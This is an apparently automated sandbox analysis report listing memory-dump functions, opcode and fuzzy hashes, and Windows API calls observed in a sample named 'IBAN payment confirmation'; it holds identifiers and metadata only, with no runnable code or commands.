Instruction ID: 8e4be71d4af040dcaef30320587c26edafd790b78206145d151bba57f4225101
Opcode Fuzzy Hash: 452e5ad86ec6baca27e0435cf890239f1ac233777d1b2d97ae91d9b7043017ba
Instruction Fuzzy Hash: 031145B5C003498FCB20DF9AC544BCEFBF4EB48324F108419D518A7210C738A540CFA1

Function 3A201CB0 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 3A201D0D

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 8cba4a054073064834927364ff68e987163830fa0de2d35fc328de9aaf6364d1
Instruction ID: e9a7bbf0af469f2513aaf2e68079336cc10c88a561880d33a426fca7bd987399
Opcode Fuzzy Hash: 8cba4a054073064834927364ff68e987163830fa0de2d35fc328de9aaf6364d1
Instruction Fuzzy Hash: 6011E5B68003499FDB20DF9AD985BDEFBF8FB48320F108419D559A7210C379A944CFA1

Function 3A20E64A Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3A20D87F), ref: 3A20E6AD

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 345852f1aade196ff7620f60df41292e78389fe4d40efbf604e229dd5762e286
Instruction ID: cc27236aabcdeadf96c1ef0255aade17b0ffbb7f0b40db097d9cb0dea7b4e6ca
Opcode Fuzzy Hash: 345852f1aade196ff7620f60df41292e78389fe4d40efbf604e229dd5762e286
Instruction Fuzzy Hash: 1811FEB5C006498FCB20DF9AD544B9EBBF4EB48324F10846AD419A3210D378A584CFA5

Function 39C99C55 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40feab8bbec7e7d8e91a12020d08930f5090405c178acd33b3913734e7940038
Instruction ID: 9e2318a2cf85e5a55ce38ef159aa6ec714b016dea97b65fda052a462e172bb0b
Opcode Fuzzy Hash: 40feab8bbec7e7d8e91a12020d08930f5090405c178acd33b3913734e7940038
Instruction Fuzzy Hash: C5E1A574940218CFEB25DF60C955BADBBB2FB89301F5085AA980A77394CB355E82DF50

Function 39C99C53 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491d016bfa667e1028890bd918528ced1531164fdfe143afab1d213890559813
Instruction ID: c6ebe3cea2a263ea16300f50e81f7e0e128a3783ab8e05b3d1c9fe4d43966214
Opcode Fuzzy Hash: 491d016bfa667e1028890bd918528ced1531164fdfe143afab1d213890559813
Instruction Fuzzy Hash: 7BE1A474A40218CFEB25DF60C955BADBBB2FB89301F5085AA980A77394CB355E82DF50

Function 39C9F4E9 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc7c9085f13b9ddbd4d3c5daacb9488603fdf980313af6ec97ba306386808ea
Instruction ID: 2278aa2f3d8aa1cd0c9889b8a30cc2e6f593346cd05d364933af3355c8eac7e2
Opcode Fuzzy Hash: acc7c9085f13b9ddbd4d3c5daacb9488603fdf980313af6ec97ba306386808ea
Instruction Fuzzy Hash: 4C916774B00B058FDB04EF79E8909AABBF2BF882047108629D446DB755EB74ED46CB90

Function 39C9E9B0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8f4344d1de0bf9be107ac7af07b67b606f0e196f8780f3dfa7bbbf676efc98
Instruction ID: 840079ed876c6d5f59c1f8cd9604f6da3f5ef096a102dad5cc43531669d854b2
Opcode Fuzzy Hash: cc8f4344d1de0bf9be107ac7af07b67b606f0e196f8780f3dfa7bbbf676efc98
Instruction Fuzzy Hash: 05710575A04358DFEB15DFA5D858AADBBB2BF88301F108129E406AB354DB349982CF41

Function 39C99FAF Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cd81033d238accbdd64bc701de58f685e6181d83f9b51384217ae50f2592466
Instruction ID: 10c69e0ff219cb9d4003f576edf3d5ab010b9007bdd7ad0737860c32a476847a
Opcode Fuzzy Hash: 6cd81033d238accbdd64bc701de58f685e6181d83f9b51384217ae50f2592466
Instruction Fuzzy Hash: 8861D774A40258DFEB25DF60C855BADBB72FF88301F1084AA990A77394CB356D82EF50

Function 39C95400 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c6b1c287607ad42275db3c27f503f9f00fce55b7b67c7d9f62f158b3ac2ec9b
Instruction ID: 382bcae4b196f1826c59a1221fb50a14c2c498948c524d293f29e930b1da26e2
Opcode Fuzzy Hash: 5c6b1c287607ad42275db3c27f503f9f00fce55b7b67c7d9f62f158b3ac2ec9b
Instruction Fuzzy Hash: 7551E074D01318DFEB14DFA5D854BADBBB2BF88301F608129D809AB355DB356A4ADF80

Function 39C9A709 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6fb5a4d19248276bb2360f5f637736d9b473949118afb01b72719eb09ca3404
Instruction ID: 015d2a05872effda3dfd8b9e82c5fda9c3a4db36c4499630524559cbcf348dda
Opcode Fuzzy Hash: c6fb5a4d19248276bb2360f5f637736d9b473949118afb01b72719eb09ca3404
Instruction Fuzzy Hash: DF619274E00218DFDB54DFA9C890ADDBBB2FF89301F248169D819AB365DB31A946CF40

Function 39C9DB04 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e23a6e211f500f922c2082b67e10348dab044d8f30beb37c834eb53678d9722
Instruction ID: 202381d493a94b822f0b8a19526176847b1a4a82a4e902740785efaab8662784
Opcode Fuzzy Hash: 8e23a6e211f500f922c2082b67e10348dab044d8f30beb37c834eb53678d9722
Instruction Fuzzy Hash: EC412370A193848FEB11DFA5D45069E7FF5BF46350F4542AEC441EB251CB30AC46CB91

Function 39C9FDF0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d2737eee8f3245b03516286e6a2af555be1c5f63677fb88c67236d616363db5
Instruction ID: 558fc5cda83a0638b2da9060df5bb9fa809e9803cd9a93a026a98d2eb2da42b6
Opcode Fuzzy Hash: 3d2737eee8f3245b03516286e6a2af555be1c5f63677fb88c67236d616363db5
Instruction Fuzzy Hash: 43311E7295E3C5EFCB038BB08C518847FB5AF1B61534A81E7E084CB473D2298899DB22

Function 39C9945E Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b82707565168edc399644cf1287dec5877dfcaa798969d5116822b4b8f31a81
Instruction ID: 2cf436e0e7f6678688ed1822d2540f54a4ef49a475315da2049d410f1e6d27c5
Opcode Fuzzy Hash: 7b82707565168edc399644cf1287dec5877dfcaa798969d5116822b4b8f31a81
Instruction Fuzzy Hash: 45317A39D44609CFCB02CFA4C4466ADBBF1BB89305F04806ED412E7290D739D98ACF80

Function 39C9AE50 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9cf7f9857bdd022b3f04f6c17577b838cd5fdb72959f406001700f8cdaffa2b
Instruction ID: 2655f1e69eb8a5668225ff857ed4d044c0d409399f42bbe2b56b3ff861c33f6a
Opcode Fuzzy Hash: b9cf7f9857bdd022b3f04f6c17577b838cd5fdb72959f406001700f8cdaffa2b
Instruction Fuzzy Hash: 793190B4A117058BFB28DB65E4507EEBBF15F89740F54842DD846E7640DF34E806CBA1

Function 39C9E99F Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8ba0e307cfc9c02f98826a972375158b2eb6dfe2093712859ee6e07ef06d17
Instruction ID: 80aab84f7b8cc06d61994d64ed63e24ad84b4adf49b5b8faa2fba3cf9c9206c5
Opcode Fuzzy Hash: 6a8ba0e307cfc9c02f98826a972375158b2eb6dfe2093712859ee6e07ef06d17
Instruction Fuzzy Hash: D3315878A103588BEB19DFB5D454AAE7BB2BF88301F148539D406EB354DF389942CF91

Function 39C9AE40 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd894a3e73c4f1067abeb161c1071b0cb38e6dd0637e7986482a6a1d26ee6a2a
Instruction ID: 93a4d562bab7972fdb9644ece2efa27b2e95ee57550a8b77ef1c6074765a6a87
Opcode Fuzzy Hash: bd894a3e73c4f1067abeb161c1071b0cb38e6dd0637e7986482a6a1d26ee6a2a
Instruction Fuzzy Hash: EE310674E147418FE729CFA9D4506EEBBF25F89380F14852DD442E7690DB30AC06CBA1

Function 39C953F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e288450dc418f515f5953d550aaabfdc0b52c57fdfdb3042503d42925513c10
Instruction ID: 7e0952f524bb48fc056274c78cb83d85d2d325199c89580b838fb94146f02a30
Opcode Fuzzy Hash: 5e288450dc418f515f5953d550aaabfdc0b52c57fdfdb3042503d42925513c10
Instruction Fuzzy Hash: 55313474D01318DFDB04DFA5D4547DEBBB2AF89301F50842AE805AB285DB755A8ACF50

Function 0009D3F0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2502473776.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7449c7f6743ed9654d16e73072bc09eb238d4f7824dd0abc25d73f13511f74
Instruction ID: f45481dc7ff389bee99979b6441024a72cedcf9e596f1f37c590e48a7b9c1f99
Opcode Fuzzy Hash: 1b7449c7f6743ed9654d16e73072bc09eb238d4f7824dd0abc25d73f13511f74
Instruction Fuzzy Hash: BB213A71584200DFDF14DF10D9C0B26BFA5FB94320F24C56AD9090F246C336E856EBA2

Function 39C9EF71 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20d1133bf958db347ce6a231ed641581be517365b5730f0a3584f07ced15126
Instruction ID: e80ce9b2f77173096e1ebdf693ed1970e1e29cf1fda8991424b0be4e24e9f529
Opcode Fuzzy Hash: b20d1133bf958db347ce6a231ed641581be517365b5730f0a3584f07ced15126
Instruction Fuzzy Hash: A921BF74D147158BEB10DFA5E491AEEBBF6BF48340F94422AD411BB240CB70AD86CBE1

Function 000AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2502620404.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ad000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b78ab75c58b071abac720f144fd3a988bf96260c912e5f09de97d6bfd151f21
Instruction ID: c6192e3b5f85b68d4a38ee8b00ef8200392bbfbf279780531d42c06c0e2f1e5a
Opcode Fuzzy Hash: 1b78ab75c58b071abac720f144fd3a988bf96260c912e5f09de97d6bfd151f21
Instruction Fuzzy Hash: 8E212271604200EFDB24DF94D9C0F26BBA1EB85314F24C56ED84A0FA42C336D847CA62

Function 0009D3EB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2502473776.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 193d0a6e4c6a41fa8d380d8a3aebfad6d5fdfd2e37f37faa7afe8a0cd07d9e29
Instruction ID: 75c30dec444e905b2dacf2aeb21225cd19b82776d93782fce5b3b3ca2f2a72f9
Opcode Fuzzy Hash: 193d0a6e4c6a41fa8d380d8a3aebfad6d5fdfd2e37f37faa7afe8a0cd07d9e29
Instruction Fuzzy Hash: DC110376544240CFCF05CF10D5C4B16BFB1FB94320F24C5AAD8480B616C336E856DBA2

Function 39C994A8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 964074836fed684094de567cf72ba8df2ee12494c25b21548e3b44c83dd680df
Instruction ID: d5401aa10019f7080ecf341feb7d1959c46415ee0ee80f4105f52cb9a183ab75
Opcode Fuzzy Hash: 964074836fed684094de567cf72ba8df2ee12494c25b21548e3b44c83dd680df
Instruction Fuzzy Hash: 6421F278D10209DFDB00DFA4C4456EEBBB2FB48301F10956AD911B3394DB789A4ACF90

Function 000AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2502620404.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ad000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3e037e22fa59686557c36097c7f2c442b72f34ba89836c3c3f47136ec8bdf6
Instruction ID: e55928b3f63c07f136b2e370c25e33d22a16d8fcfd49e1b03e0c3bd6dac7d8e0
Opcode Fuzzy Hash: 7f3e037e22fa59686557c36097c7f2c442b72f34ba89836c3c3f47136ec8bdf6
Instruction Fuzzy Hash: 0111BB75504280DFCB15CF54D5C0B15BBA2FB85324F28C6AAD84A4BA56C33AD84ACB62

Function 39C9DEF7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413b38b5d81ae69435510983a954ce3bffb77ac07f5fc440ca488003813152c9
Instruction ID: 8533da3eee82bf08334bed3f3ab2543fd28266deffea9aef9c0182aabbe89fbe
Opcode Fuzzy Hash: 413b38b5d81ae69435510983a954ce3bffb77ac07f5fc440ca488003813152c9
Instruction Fuzzy Hash: 3F11E531D183449FDB028F78D8512EA7FB1EF86310F0441AAE485DB191DB74698ACBA1

Function 39C9DF90 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6faf2f584a8e2eaf0f4885acf2a2ee6a50af9b8112a9d746917691282c0bcebc
Instruction ID: 9d41f9debf154d894dd3c62142348a299bed6c12d434f6dd7861f18e7e685351
Opcode Fuzzy Hash: 6faf2f584a8e2eaf0f4885acf2a2ee6a50af9b8112a9d746917691282c0bcebc
Instruction Fuzzy Hash: 4D116D70740A018FD324DF7DD44196ABBF2BF9A25431582AAE049CB776DB30ED86DB90

Function 39C9DAE8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b556634b4301cad9e996c38e6f7c7a0f22b55a1884ffa2bd071bfb72c61714d
Instruction ID: 367139085310013db3550838e85581a08d2decb48841a0c1a634be0fe270e9f0
Opcode Fuzzy Hash: 5b556634b4301cad9e996c38e6f7c7a0f22b55a1884ffa2bd071bfb72c61714d
Instruction Fuzzy Hash: 6C018031700A018FD324DF6ED44195AB7E6EF9A354305856AE00ACB336EB30FC46DB80

Function 39C9A930 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02eb3e401a7945d3f43a6f117b11b1aed5bc81a163001da6e23e8b1169b8ac2e
Instruction ID: 80e70ab8c86456c5ac42d960f5fed25320bfc039cc4deda47bd36bf9a87d7dda
Opcode Fuzzy Hash: 02eb3e401a7945d3f43a6f117b11b1aed5bc81a163001da6e23e8b1169b8ac2e
Instruction Fuzzy Hash: F9015634D12604CFDB04DFA8E8546EEB7B1FB8A302F50A47AC500B3260DB359842CB91

Function 39C9A940 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a3729fd74bc70286a23675f2676f7d8838e52626bdbb9e5624de8fe4cb4030
Instruction ID: 6951f2c88fff05309ba8a83a90fbe4ab9be3cfa5c7b1d990ad3b53dda9273091
Opcode Fuzzy Hash: 81a3729fd74bc70286a23675f2676f7d8838e52626bdbb9e5624de8fe4cb4030
Instruction Fuzzy Hash: 3CF08734D12608CFEB04DFA9E8546EDB7B2FF8A301F50A429C504B3260DB355842CF90

Function 39C9710C Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d142d7cf415d624d6427f37b1b3bd34db5ed77f84ced3121fe150e1f867a4022
Instruction ID: eeaffd0df9de1924861063006e2f31d8c3b4ddcc879590c3b39e61f4b50dd464
Opcode Fuzzy Hash: d142d7cf415d624d6427f37b1b3bd34db5ed77f84ced3121fe150e1f867a4022
Instruction Fuzzy Hash: 7FF0F432E182089BDB109FA4E8517EF7BE5FB85360F00856AF405A7640CB70A549CBD1

Function 39C9712C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c43410eecb2356a8c3bfc9fcdcb98f7041bca21858a7cfd6cdad0d55492f4342
Instruction ID: 077c41852516feaf1fd42ac1f4842ecf61ae6977b8e660a9494e09b3e21d810e
Opcode Fuzzy Hash: c43410eecb2356a8c3bfc9fcdcb98f7041bca21858a7cfd6cdad0d55492f4342
Instruction Fuzzy Hash: 1EF0A0207583451BF62522BA6415BAF65EEAFCA392F114436F505DB244DF50AC0743E2

Function 39C9AFA8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2267c253dc83ef2662f92aaffc62d0b26ebbc7d32ed9fea3321c467c282c1a
Instruction ID: aecef42f1fa4b5ffad3aba0df17c7687af4c7dfb8551ffaa5b8242d638fb4fad
Opcode Fuzzy Hash: 5c2267c253dc83ef2662f92aaffc62d0b26ebbc7d32ed9fea3321c467c282c1a
Instruction Fuzzy Hash: A1F0A73071C3801FE716277D6811BBF2BAA9FC6385F15407AE501DB255DF909D0783A2

Function 39C99879 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d47c04fc361ded366ff104c3459984251a20f70f28eaa3704611bac7f4006d
Instruction ID: 8d80bff3a570e919dfffa61d811cb72b428e072f8706fdb3aa8d67257eb41c32
Opcode Fuzzy Hash: 62d47c04fc361ded366ff104c3459984251a20f70f28eaa3704611bac7f4006d
Instruction Fuzzy Hash: 9DE01A70066F42DFE3021B60AC6C66A7BB8FB0B317B842C54A04A82072CB780854C755

Function 39C9AF7D Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 098b408c170f4632da96dfd1d74bb46bba8447849f44f5c96130b66fa0d8727a
Instruction ID: bf35dcf58b93ef6b8431cedf7f991a0d291cfb66b5b79157e068d0647a1920b0
Opcode Fuzzy Hash: 098b408c170f4632da96dfd1d74bb46bba8447849f44f5c96130b66fa0d8727a
Instruction Fuzzy Hash: AAD0123191DBA14FC3278B797450198BFA0DD8A11530A45FAC088CF4629A64598AC796

Function 39C970FC Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8af0f95b46a946754da2435531ed2928f579f66baecb5230bffa45b9215e67
Instruction ID: 2c36ff6bbb80dce4b136275f07e4ca6b8f0fe4f22c4769c1dc125fab148878f0
Opcode Fuzzy Hash: 2c8af0f95b46a946754da2435531ed2928f579f66baecb5230bffa45b9215e67
Instruction Fuzzy Hash: 53C08033629720075325932D7C446CF59958FC63513008A3BF00C87104DD905D4B41CD

Function 39C99828 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66d7b8eba369bf16198b16ed5a8e13979bca3828e3e9797b268d8bb6714263a2
Instruction ID: 03ec6956f786c8626c7762bc93387347caeed4f94da558ddf75e34a00bcd722f
Opcode Fuzzy Hash: 66d7b8eba369bf16198b16ed5a8e13979bca3828e3e9797b268d8bb6714263a2
Instruction Fuzzy Hash: 19C08C70010F098BF2042F54BC1CB79B3B8B707303FC42D10E10D428708BB85814C688

Function 39C97024 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35e64e27f9e844279112c246a36b5a2679be29f6ae03538b9c5dfb81bb11f5a1
Instruction ID: 5506d3bf153e386da1fe4458c343c7b16ad03a4e66128bc1160f8b5c5d16abe1
Opcode Fuzzy Hash: 35e64e27f9e844279112c246a36b5a2679be29f6ae03538b9c5dfb81bb11f5a1
Instruction Fuzzy Hash: 53C08C302747088FF2009B5DD584B8537ACEF89B04F0018A1F4048B621CA22FC008A09

Non-executed Functions

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
